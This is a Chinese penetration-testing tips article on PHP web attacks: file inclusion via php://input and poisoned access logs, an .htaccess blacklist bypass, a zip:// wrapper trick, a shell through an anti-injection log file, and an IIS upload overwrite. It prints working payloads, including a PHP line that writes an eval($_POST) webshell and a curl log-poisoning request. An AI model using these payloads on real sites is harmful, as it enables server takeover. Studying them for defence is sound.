Author: Binghe@i春秋
前言:
總結下滲透測試中的一些小技巧,僅做總結。
目錄:
0x01 php文件包含姿勢 0x02 .htaccess文件突破黑名單解析 0x03 php流封裝繞過截斷 0x04 通用防注入系統getshell 0x05 iis+php黑名單上傳突破
正文
0x01 php文件包含姿勢
其實這類姿勢國外黑闊早有總結:
-
includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript ? (如果網站存在文件上傳功能,比如前臺傳頭像之類,可以嘗試包含上傳的文件,當然文件可控。)
-
include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases ? (利用php封裝協議php://input和data://,包含post數據造成php命令執行,當然allow_url_include選項需要打開)
-
including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB) (因為包含的可以是任意文件,log文件也是可以,當我們提交惡意代碼時也會被記錄,于是包含記錄了惡意代碼的log文件是個好主意)
-
including /proc/self/environ - this requires PHP to be run as CGIon a ?system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file (包含/proc/self/environ文件: 這需要PHP運行作為一個具有cgion?/proc偽文件的系統且PHP腳本有權訪問這些偽文件)
-
include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.<?php phpinfo(); ? >), the sessions must be stored in a serializedsession file (as e.g. x| s:19:"<?php phpinfo(); ?>"; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID) (包含會話文件-這需要攻擊者能控制會話中的任何字符串值(注入代碼,例如phpinfo()),會話文件必須存放在serializedsession文件且PHP腳本能夠訪問會話文件(通常是/tmp/ sess_SESSIONID文件)
-
include other files created by PHPapplication - thisis very application and system specific, but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).
(包含其他由php應用創建的文件,只要你能想到的,都可以嘗試創建 然后包含他,比如數據庫文件,緩存文件,應用程序級別的日志)
我們來主要說下第二種和第三種姿勢 php://input屬于php內置的封裝協議,其實都主要是include()函數處理不當 這里我們準備一個有文件包含的php文件
<?php
??include($_GET['url']);
??>
我們訪問 http://127.0.0.1/111332.php?url=php://input 然后我們通過POST提交php代碼。 黑闊可利用此寫入一句話木馬:
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>

同理,提交:
<?php system("net user")?>
可成功通過system函數成功執行命令。
第三種姿勢也是比較巧妙:
包含日志文件getshell(需要一定讀權限)
首先找到日志文件存放位置,利用文件包含漏洞去讀取?apache 日志默認在?/etc/httpd/logs/access_log
也可以先找apache配置文件,通過任意文件讀取漏洞配置文件找到日志路徑?/etc/httpd/conf/httpd.conf
讓日志文件插入php代碼 ?
方法一 ?使用burpsuit抓包訪問 ,繞過瀏覽器編碼<>
方法二 ?curl 訪問不存在的url
curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>
如此,php代碼就被寫到log里面了 包含一下日志:
http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log

0x02 .htaccess文件突破黑名單解析
因為是黑名單,自定義.htaccess上傳,下面是內容
?<FileMatch “test.jpg”>?
SetHandler application/x-httpd-php?
</FileMatch>?
同目錄下,上傳一個test.jpg文件,沒有擴展名,內容是一句話,這個時候就成功繞過。

0x03 php流封裝繞過截斷
思路源于王松童鞋 @王松_striker 思路主要是利用了PHP的一個流封裝的特性,可以參考PHP官方文檔中的Example #3
Example #3 Zip 流封裝,讀取一個OpenOffice 文件的元信息
<?php
$reader = new XMLReader();
?
$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
????if ($reader->nodeType == XMLREADER::ELEMENT) {
????????$elm = $reader->name;
????} else {
????????if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
????????????break;
????????}
????????if (!trim($reader->value)) {
????????????continue;
????????}
????????$odt_meta[$elm] = $reader->value;
????}
}
print_r($odt_meta);
?>
此例使用了舊的 API(PHP 4),它打開了一個 ZIP 文件歸檔,讀取歸檔里的每個文件,并輸出文件內容。此例用到的 test2.zip 文檔是 ZZIPlib 源分布里測試文檔中的一個。 假設存在文件包含的代碼為:
<?php
??
$a = $_GET['file'];
??
include $a.'.html.php';
但是我們%00無法截斷, 只能包含 xxxx.html.php 首先我們新建一個hello.html.php,內容為phpinfo();
然后壓縮成zip,結構如下圖:

然后訪問如下網址,成功包含壓縮文件內的hello.html.php
http://localhost/test/blog.php?file=zip://test.zip%23hello
如圖:

把我們輸入的變量和include后面的變量合起來就是 zip://test.zip#hello.html.php
代表當前目錄下的test.zip壓縮包里面的hello.html.php,于是包含成功。
0x04 通用防注入系統getshell
相信許多朋友滲透測試都遇到過這種情況

系統做了數據提交記錄,我們通過閱讀類似程序的源碼得知數據記錄在sqlin.asp

于是想到直接提交一句話木馬。但是沒有成功
┼攠數畣整爠煥敵瑳∨≡┩愾 密碼 a (加密方式是:ANSI->Unicode)
提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾
菜刀連接sqlin.php即可
0x05 iis+php黑名單上傳突破
環境: php+window+iis
局限: 文件上傳黑名單機制,略顯雞肋
科普: 在php+window+iis環境下:
雙引號(“>”) <==> 點號(“.”)’;
大于符號(“>”) <==> 問號(“?”)’;
小于符號(“<“) <==> 星號(“*”)’;
有這么好玩的東西,那不就可以做太多的事了?但事實并不是這樣,通過一系列的測試發現,該特性只能用于文件上傳時覆蓋已知的文件,于是這特性便略顯雞肋.
不過P牛已經給出完美利用的方法:
思路如下:
首先我們先利用特殊辦法生成一個php文件,然后再利用這個特性將文件覆蓋..
可問題又來了,怎樣生成php文件呢?如果可以直接生成php文件的話,干嘛還要利用那什么特性?
別急,辦法總是有的..
我們都知道在文件上傳時,我們往往會考慮到文件名截斷,如%00 等..
對!有的人可能還會用冒號(“:”)去截斷,如:bypass.php:jpg
但是你知道嗎?冒號截斷產生的文件是空白的,里面并不會有任何的內容,呵呵說到這里明白了沒有? 雖然生成的php文件里面沒有內容,但是php文件總生成了吧,所以我們可以結合上面所說的特性完美成功利用.
按照上面提供的思路,實現..
本地測試地址:http://.../upfile.php 環境:Windows+IIS7.5
1)首先利用冒號生成我們將要覆蓋的php文件,這里為:bypass.php,如圖

點擊forward后,可以看見成功生成空白的bypass.php文件

2)利用上面的系統特性覆蓋該文件 從上面已經知道“<” 就等于 “”,而””代碼任意字符,于是乎..
我們可以這樣修改上傳的文件名,如下:
------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
??
Content-Type: image/jpeg
??
//注意!文件名為:bypass.<<<
點擊go..,即可成功覆蓋bypass.php文件,如圖

對比上面的兩個圖,bypass.php被我們成功的寫入了內容..

參考資料:烏云知識庫 binghesec Phithon 王松
原文地址:http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/92/